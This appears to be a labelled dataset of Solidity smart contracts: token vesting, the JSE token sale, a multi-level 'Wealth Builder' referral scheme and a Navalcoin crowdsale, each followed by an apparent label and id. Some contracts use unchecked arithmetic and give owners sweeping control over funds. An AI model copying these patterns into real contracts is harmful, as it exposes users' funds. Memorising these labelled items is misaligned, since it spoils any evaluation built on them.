bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic _token) public {
uint256 unreleased = releasableAmount(_token);
require(unreleased > 0);
released[_token] = released[_token].add(unreleased);
_token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic _token) public onlyOwner {
require(revocable);
require(!revoked[_token]);
uint256 balance = _token.balanceOf(address(this));
uint256 unreleased = releasableAmount(_token);
uint256 refund = balance.sub(unreleased);
revoked[_token] = true;
_token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic _token) public view returns (uint256) {
return vestedAmount(_token).sub(released[_token]);
}
function vestedAmount(ERC20Basic _token) public view returns (uint256) {
uint256 currentBalance = _token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[_token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[_token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract SimpleVesting is TokenVesting {
constructor(address _beneficiary) TokenVesting(
_beneficiary,
1598918400,
0,
0,
false
)
public
{}
}
| 0 | 1,542 |
pragma solidity ^0.4.23;
contract JSECoinCrowdsaleConfig {
uint8 public constant TOKEN_DECIMALS = 18;
uint256 public constant DECIMALSFACTOR = 10**uint256(TOKEN_DECIMALS);
uint256 public constant DURATION = 12 weeks;
uint256 public constant CONTRIBUTION_MIN = 0.1 ether;
uint256 public constant CONTRIBUTION_MAX_NO_WHITELIST = 20 ether;
uint256 public constant CONTRIBUTION_MAX = 10000.0 ether;
uint256 public constant TOKENS_MAX = 10000000000 * (10 ** uint256(TOKEN_DECIMALS));
uint256 public constant TOKENS_SALE = 5000000000 * DECIMALSFACTOR;
uint256 public constant TOKENS_DISTRIBUTED = 5000000000 * DECIMALSFACTOR;
uint256 public constant TOKENS_PER_KETHER = 75000000;
uint256 public constant PURCHASE_DIVIDER = 10**(uint256(18) - TOKEN_DECIMALS + 3);
}
interface ERC223 {
function transfer(address _to, uint _value, bytes _data) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract OperatorManaged is Ownable {
address public operatorAddress;
address public adminAddress;
event AdminAddressChanged(address indexed _newAddress);
event OperatorAddressChanged(address indexed _newAddress);
constructor() public
Ownable()
{
adminAddress = msg.sender;
}
modifier onlyAdmin() {
require(isAdmin(msg.sender));
_;
}
modifier onlyAdminOrOperator() {
require(isAdmin(msg.sender) || isOperator(msg.sender));
_;
}
modifier onlyOwnerOrAdmin() {
require(isOwner(msg.sender) || isAdmin(msg.sender));
_;
}
modifier onlyOperator() {
require(isOperator(msg.sender));
_;
}
function isAdmin(address _address) internal view returns (bool) {
return (adminAddress != address(0) && _address == adminAddress);
}
function isOperator(address _address) internal view returns (bool) {
return (operatorAddress != address(0) && _address == operatorAddress);
}
function isOwner(address _address) internal view returns (bool) {
return (owner != address(0) && _address == owner);
}
function isOwnerOrOperator(address _address) internal view returns (bool) {
return (isOwner(_address) || isOperator(_address));
}
function setAdminAddress(address _adminAddress) external onlyOwnerOrAdmin returns (bool) {
require(_adminAddress != owner);
require(_adminAddress != address(this));
require(!isOperator(_adminAddress));
adminAddress = _adminAddress;
emit AdminAddressChanged(_adminAddress);
return true;
}
function setOperatorAddress(address _operatorAddress) external onlyOwnerOrAdmin returns (bool) {
require(_operatorAddress != owner);
require(_operatorAddress != address(this));
require(!isAdmin(_operatorAddress));
operatorAddress = _operatorAddress;
emit OperatorAddressChanged(_operatorAddress);
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract JSEToken is ERC223, BurnableToken, Ownable, MintableToken, OperatorManaged {
event Finalized();
string public name = "JSE Token";
string public symbol = "JSE";
uint public decimals = 18;
uint public initialSupply = 10000000000 * (10 ** decimals);
bool public finalized;
constructor() OperatorManaged() public {
totalSupply_ = initialSupply;
balances[msg.sender] = initialSupply;
emit Transfer(0x0, msg.sender, initialSupply);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
checkTransferAllowed(msg.sender, _to);
return super.transferFrom(_from, _to, _value);
}
function checkTransferAllowed(address _sender, address _to) private view {
if (finalized) {
return;
}
require(isOwnerOrOperator(_sender) || _to == owner);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
checkTransferAllowed(msg.sender, _to);
return super.transfer(_to, _value);
}
function transfer(address _to, uint _value, bytes _data) external returns (bool) {
checkTransferAllowed(msg.sender, _to);
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(isContract(_to));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
ERC223ReceivingContract erc223Contract = ERC223ReceivingContract(_to);
erc223Contract.tokenFallback(msg.sender, _value, _data);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
function isContract(address _addr) private view returns (bool) {
uint codeSize;
assembly {
codeSize := extcodesize(_addr)
}
return codeSize > 0;
}
function finalize() external onlyAdmin returns (bool success) {
require(!finalized);
finalized = true;
emit Finalized();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract JSETokenSale is OperatorManaged, Pausable, JSECoinCrowdsaleConfig {
using SafeMath for uint256;
bool public finalized;
bool public publicSaleStarted;
uint256 public tokensPerKEther;
uint256 public bonusIncreasePercentage = 10;
address public wallet;
JSEToken public tokenContract;
uint256 public totalTokensSold;
uint256 public totalPresaleBase;
uint256 public totalPresaleBonus;
mapping(address => bool) public whitelist;
uint256 public weiRaised;
event Initialized();
event PresaleAdded(address indexed _account, uint256 _baseTokens, uint256 _bonusTokens);
event WhitelistUpdated(address indexed _account);
event TokensPurchased(address indexed _beneficiary, uint256 _cost, uint256 _tokens, uint256 _totalSold);
event TokensPerKEtherUpdated(uint256 _amount);
event WalletChanged(address _newWallet);
event TokensReclaimed(uint256 _amount);
event UnsoldTokensBurnt(uint256 _amount);
event BonusIncreasePercentageChanged(uint256 _oldPercentage, uint256 _newPercentage);
event Finalized();
constructor(JSEToken _tokenContract, address _wallet) public
OperatorManaged()
{
require(address(_tokenContract) != address(0));
require(_wallet != address(0));
require(TOKENS_PER_KETHER > 0);
wallet = _wallet;
finalized = false;
publicSaleStarted = false;
tokensPerKEther = TOKENS_PER_KETHER;
tokenContract = _tokenContract;
}
function initialize() external onlyOwner returns (bool) {
require(totalTokensSold == 0);
require(totalPresaleBase == 0);
require(totalPresaleBonus == 0);
uint256 ownBalance = tokenContract.balanceOf(address(this));
require(ownBalance == TOKENS_SALE);
emit Initialized();
return true;
}
function changeWallet(address _wallet) external onlyAdmin returns (bool) {
require(_wallet != address(0));
require(_wallet != address(this));
require(_wallet != address(tokenContract));
wallet = _wallet;
emit WalletChanged(wallet);
return true;
}
function currentTime() public view returns (uint256 _currentTime) {
return now;
}
modifier onlyBeforeSale() {
require(hasSaleEnded() == false && publicSaleStarted == false);
_;
}
modifier onlyDuringSale() {
require(hasSaleEnded() == false && publicSaleStarted == true);
_;
}
modifier onlyAfterSale() {
require(finalized);
_;
}
function hasSaleEnded() private view returns (bool) {
if (finalized) {
return true;
} else {
return false;
}
}
function updateWhitelist(address _account) external onlyAdminOrOperator returns (bool) {
require(_account != address(0));
require(!hasSaleEnded());
whitelist[_account] = true;
emit WhitelistUpdated(_account);
return true;
}
function setTokensPerKEther(uint256 _tokensPerKEther) external onlyAdmin onlyBeforeSale returns (bool) {
require(_tokensPerKEther > 0);
tokensPerKEther = _tokensPerKEther;
emit TokensPerKEtherUpdated(_tokensPerKEther);
return true;
}
function () external payable whenNotPaused onlyDuringSale {
buyTokens();
}
function buyTokens() public payable whenNotPaused onlyDuringSale returns (bool) {
require(msg.value >= CONTRIBUTION_MIN);
require(msg.value <= CONTRIBUTION_MAX);
require(totalTokensSold < TOKENS_SALE);
bool whitelisted = whitelist[msg.sender];
if(msg.value >= CONTRIBUTION_MAX_NO_WHITELIST){
require(whitelisted);
}
uint256 tokensMax = TOKENS_SALE.sub(totalTokensSold);
require(tokensMax > 0);
uint256 actualAmount = msg.value.mul(tokensPerKEther).div(PURCHASE_DIVIDER);
uint256 bonusAmount = actualAmount.mul(bonusIncreasePercentage).div(100);
uint256 tokensBought = actualAmount.add(bonusAmount);
require(tokensBought > 0);
uint256 cost = msg.value;
uint256 refund = 0;
if (tokensBought > tokensMax) {
tokensBought = tokensMax;
cost = tokensBought.mul(PURCHASE_DIVIDER).div(tokensPerKEther);
refund = msg.value.sub(cost);
}
totalTokensSold = totalTokensSold.add(tokensBought);
require(tokenContract.transfer(msg.sender, tokensBought));
if (refund > 0) {
msg.sender.transfer(refund);
}
weiRaised = weiRaised.add(msg.value.sub(refund));
wallet.transfer(msg.value.sub(refund));
emit TokensPurchased(msg.sender, cost, tokensBought, totalTokensSold);
if (totalTokensSold == TOKENS_SALE) {
finalizeInternal();
}
return true;
}
function reclaimTokens(uint256 _amount) external onlyAfterSale onlyAdmin returns (bool) {
uint256 ownBalance = tokenContract.balanceOf(address(this));
require(_amount <= ownBalance);
address tokenOwner = tokenContract.owner();
require(tokenOwner != address(0));
require(tokenContract.transfer(tokenOwner, _amount));
emit TokensReclaimed(_amount);
return true;
}
function changeBonusIncreasePercentage(uint256 _newPercentage) external onlyDuringSale onlyAdmin returns (bool) {
uint oldPercentage = bonusIncreasePercentage;
bonusIncreasePercentage = _newPercentage;
emit BonusIncreasePercentageChanged(oldPercentage, _newPercentage);
return true;
}
function finalize() external onlyAdmin returns (bool) {
return finalizeInternal();
}
function startPublicSale() external onlyAdmin onlyBeforeSale returns (bool) {
publicSaleStarted = true;
return true;
}
function finalizeInternal() private returns (bool) {
require(!finalized);
finalized = true;
emit Finalized();
return true;
}
}
| 1 | 3,301 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner = msg.sender;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] += _value;
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event Burn(address indexed burner, uint value);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply += _amount;
balances[_to] += _amount;
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function burn(address _addr, uint _amount) onlyOwner public {
require(_amount > 0 && balances[_addr] >= _amount && totalSupply >= _amount);
balances[_addr] -= _amount;
totalSupply -= _amount;
Burn(_addr, _amount);
Transfer(_addr, address(0), _amount);
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract WealthBuilderToken is MintableToken {
string public name = "Wealth Builder Token";
string public symbol = "WBT";
uint32 public decimals = 18;
uint public rate = 10**7;
uint public mrate = 10**7;
function setRate(uint _rate) onlyOwner public {
rate = _rate;
}
}
contract Data is Ownable {
mapping (address => address) private parent;
mapping (address => uint8) public statuses;
mapping (address => uint) public referralDeposits;
mapping(address => uint256) private balances;
mapping(address => uint256) private investorBalances;
function parentOf(address _addr) public constant returns (address) {
return parent[_addr];
}
function balanceOf(address _addr) public constant returns (uint256) {
return balances[_addr] / 1000000;
}
function investorBalanceOf(address _addr) public constant returns (uint256) {
return investorBalances[_addr] / 1000000;
}
function Data() public {
statuses[msg.sender] = 7;
}
function addBalance(address _addr, uint256 amount) onlyOwner public {
balances[_addr] += amount;
}
function subtrBalance(address _addr, uint256 amount) onlyOwner public {
require(balances[_addr] >= amount);
balances[_addr] -= amount;
}
function addInvestorBalance(address _addr, uint256 amount) onlyOwner public {
investorBalances[_addr] += amount;
}
function subtrInvestorBalance(address _addr, uint256 amount) onlyOwner public {
require(investorBalances[_addr] >= amount);
investorBalances[_addr] -= amount;
}
function addReferralDeposit(address _addr, uint256 amount) onlyOwner public {
referralDeposits[_addr] += amount;
}
function setStatus(address _addr, uint8 _status) onlyOwner public {
statuses[_addr] = _status;
}
function setParent(address _addr, address _parent) onlyOwner public {
parent[_addr] = _parent;
}
}
contract Declaration {
mapping (uint => uint8) statusThreshold;
mapping (uint8 => mapping (uint8 => uint)) feeDistribution;
uint[8] thresholds = [
0, 5000, 35000, 150000, 500000, 2500000, 5000000, 10000000
];
uint[5] referralFees = [50, 30, 20, 10, 5];
uint[5] serviceFees = [25, 20, 15, 10, 5];
function Declaration() public {
setFeeDistributionsAndStatusThresholds();
}
function setFeeDistributionsAndStatusThresholds() private {
setFeeDistributionAndStatusThreshold(0, [12, 8, 5, 2, 1], thresholds[0]);
setFeeDistributionAndStatusThreshold(1, [16, 10, 6, 3, 2], thresholds[1]);
setFeeDistributionAndStatusThreshold(2, [20, 12, 8, 4, 2], thresholds[2]);
setFeeDistributionAndStatusThreshold(3, [25, 15, 10, 5, 3], thresholds[3]);
setFeeDistributionAndStatusThreshold(4, [30, 18, 12, 6, 3], thresholds[4]);
setFeeDistributionAndStatusThreshold(5, [35, 21, 14, 7, 4], thresholds[5]);
setFeeDistributionAndStatusThreshold(6, [40, 24, 16, 8, 4], thresholds[6]);
setFeeDistributionAndStatusThreshold(7, [50, 30, 20, 10, 5], thresholds[7]);
}
function setFeeDistributionAndStatusThreshold(
uint8 _st,
uint8[5] _percentages,
uint _threshold
)
private
{
statusThreshold[_threshold] = _st;
for (uint8 i = 0; i < _percentages.length; i++) {
feeDistribution[_st][i] = _percentages[i];
}
}
}
contract Investors is Ownable {
address[] public investors;
mapping (address => uint) public investorPercentages;
function addInvestors(address[] _investors, uint[] _investorPercentages) onlyOwner public {
for (uint i = 0; i < _investors.length; i++) {
investors.push(_investors[i]);
investorPercentages[_investors[i]] = _investorPercentages[i];
}
}
function getInvestorsCount() public constant returns (uint) {
return investors.length;
}
function getInvestorsFee() public constant returns (uint8) {
if (now >= 1577836800) {
return 1;
}
if (now >= 1546300800) {
return 5;
}
return 10;
}
}
contract Referral is Declaration, Ownable {
using SafeMath for uint;
WealthBuilderToken private token;
Data private data;
Investors private investors;
uint public investorsBalance;
uint public ethUsdRate;
function Referral(uint _ethUsdRate, address _token, address _data, address _investors) public {
ethUsdRate = _ethUsdRate;
token = WealthBuilderToken(_token);
data = Data(_data);
investors = Investors(_investors);
investorsBalance = 0;
}
function() payable public {
}
function invest(address client, uint8 depositsCount) payable public {
uint amount = msg.value;
if (depositsCount < 5) {
uint serviceFee;
uint investorsFee = 0;
if (depositsCount == 0) {
uint8 investorsFeePercentage = investors.getInvestorsFee();
serviceFee = amount * (serviceFees[depositsCount].sub(investorsFeePercentage));
investorsFee = amount * investorsFeePercentage;
investorsBalance += investorsFee;
} else {
serviceFee = amount * serviceFees[depositsCount];
}
uint referralFee = amount * referralFees[depositsCount];
distribute(data.parentOf(client), 0, depositsCount, amount);
uint active = (amount * 100)
.sub(referralFee)
.sub(serviceFee)
.sub(investorsFee);
token.mint(client, active / 100 * token.rate() / token.mrate());
data.addBalance(owner, serviceFee * 10000);
} else {
token.mint(client, amount * token.rate() / token.mrate());
}
}
function distribute(
address _node,
uint _prevPercentage,
uint8 _depositsCount,
uint _amount
)
private
{
address node = _node;
uint prevPercentage = _prevPercentage;
while(node != address(0)) {
uint8 status = data.statuses(node);
uint nodePercentage = feeDistribution[status][_depositsCount];
uint percentage = nodePercentage.sub(prevPercentage);
data.addBalance(node, _amount * percentage * 10000);
data.addReferralDeposit(node, _amount * ethUsdRate / 10**18);
updateStatus(node, status);
node = data.parentOf(node);
prevPercentage = nodePercentage;
}
}
function updateStatus(address _node, uint8 _status) private {
uint refDep = data.referralDeposits(_node);
for (uint i = thresholds.length - 1; i > _status; i--) {
uint threshold = thresholds[i] * 100;
if (refDep >= threshold) {
data.setStatus(_node, statusThreshold[threshold]);
break;
}
}
}
function distributeInvestorsFee(uint start, uint end) onlyOwner public {
for (uint i = start; i < end; i++) {
address investor = investors.investors(i);
uint investorPercentage = investors.investorPercentages(investor);
data.addInvestorBalance(investor, investorsBalance * investorPercentage);
}
if (end == investors.getInvestorsCount()) {
investorsBalance = 0;
}
}
function setRate(uint _rate) onlyOwner public {
token.setRate(_rate);
}
function setEthUsdRate(uint _ethUsdRate) onlyOwner public {
ethUsdRate = _ethUsdRate;
}
function invite(
address _inviter,
address _invitee
)
public onlyOwner
{
data.setParent(_invitee, _inviter);
data.setStatus(_invitee, 0);
}
function setStatus(address _addr, uint8 _status) public onlyOwner {
data.setStatus(_addr, _status);
}
function setInvestors(address _addr) public onlyOwner {
investors = Investors(_addr);
}
function withdraw(address _addr, uint256 _amount, bool investor) public onlyOwner {
uint amount = investor ? data.investorBalanceOf(_addr)
: data.balanceOf(_addr);
require(amount >= _amount && this.balance >= _amount);
if (investor) {
data.subtrInvestorBalance(_addr, _amount * 1000000);
} else {
data.subtrBalance(_addr, _amount * 1000000);
}
_addr.transfer(_amount);
}
function withdrawOwner(address _addr, uint256 _amount) public onlyOwner {
require(this.balance >= _amount);
_addr.transfer(_amount);
}
function withdrawToken(address _addr, uint256 _amount) onlyOwner public {
token.burn(_addr, _amount);
uint256 etherValue = _amount * token.mrate() / token.rate();
_addr.transfer(etherValue);
}
function transferTokenOwnership(address _addr) onlyOwner public {
token.transferOwnership(_addr);
}
function transferDataOwnership(address _addr) onlyOwner public {
data.transferOwnership(_addr);
}
}
contract PChannel is Ownable {
Referral private refProgram;
uint private depositAmount = 50000;
uint private maxDepositAmount =62500;
mapping (address => uint8) private deposits;
function PChannel(address _refProgram) public {
refProgram = Referral(_refProgram);
}
function() payable public {
uint8 depositsCount = deposits[msg.sender];
if (depositsCount == 15) {
depositsCount = 0;
deposits[msg.sender] = 0;
}
uint amount = msg.value;
uint usdAmount = amount * refProgram.ethUsdRate() / 10**18;
require(usdAmount >= depositAmount && usdAmount <= maxDepositAmount);
refProgram.invest.value(amount)(msg.sender, depositsCount);
deposits[msg.sender]++;
}
function setRefProgram(address _addr) public onlyOwner {
refProgram = Referral(_addr);
}
}
| 1 | 3,971 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract TokenContract is MintableToken {
string public name = "Navalcoin";
string public symbol = "NAC";
uint8 public decimals = 18;
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract Crowdsale {
using SafeMath for uint256;
MintableToken public token;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public {
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
}
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
